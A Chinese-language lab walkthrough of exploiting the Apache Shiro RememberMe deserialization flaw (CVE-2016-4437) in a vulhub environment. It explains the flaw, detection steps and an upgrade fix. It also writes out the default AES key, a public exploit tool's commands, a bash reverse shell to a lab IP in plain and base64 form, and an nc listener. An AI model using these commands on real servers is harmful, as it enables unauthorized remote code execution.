Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )
漏洞链接
https://vulhub.org/#/environments/shiro/CVE-2016-4437/
漏洞影响
Shiro <= 1.2.5
漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户信息加密,加密过程:用户信息=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。如果用户勾选记住密码,那么在请求中会携带cookie,并且将加密信息存放在cookie的rememberMe字段里面,在服务端收到请求对rememberMe值,先base64解码然后AES解密再反序列化,这个加密过程如果我们知道AES加密的密钥,那么我们把用户信息替换成恶意命令,就导致了反序列化RCE漏洞。在shiro版本<=1.2.4中使用了默认密钥kPH+bIxk5D2deZiIxcaaaA==,这就更容易触发RCE漏洞。
漏洞防御
shiro更新到1.7及以上
漏洞验证
1.未登录的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
2.登录失败的话,不管有没有勾选RememberMe字段,返回包都会有 rememberMe= deleteMe 字段
3.不勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有RememberMe字段
4.勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段,还会有remember 字段,之后的所有请求中Cookie都会有rememberMe字段
5.或者可以在cookie后面自己加一个rememberMe=1,看返回包有没有rememberMe= deleteMe
漏洞启动
sudo docker-compose up -d
登录画面
使用工具对漏洞进行破解
https://github.com/insightglacier/Shiro_exploit //工具地址
使用工具进行破解
sudo python3 shiro_exploit.py -u url:port
使用工具出现错误
NO module named 'Crypto'
解决错误
pip uninstall crypto pycryptodome
pip install pycryptodome
//:python安装目录下的\Lib\site-packages,将crypto文件夹的名字改成Crypto。
重新执行命令
sudo python3 shiro_exploit.py -u url:port
vulnerable:True url:http://10.9.75.11:8080 //出现这个就说明就shiro漏洞
使用反弹sheel
## 对反弹shell命令进行加密并利用
1:bash -i >& /dev/tcp/10.9.75.11/7777 0>&1
2:base 64加密
3:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjExLzc3NzcgMD4mMQ}|{base64,-d}|{bash,-i}
然后将其编入工具,实现最终反弹
python3 shiro_exploit.py -t 3 -u http://10.9.75.11:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjExLzc3NzcgMD4mMQ}|{base64,-d}|{bash,-i}"
nc -lnvp 7777 //打开监听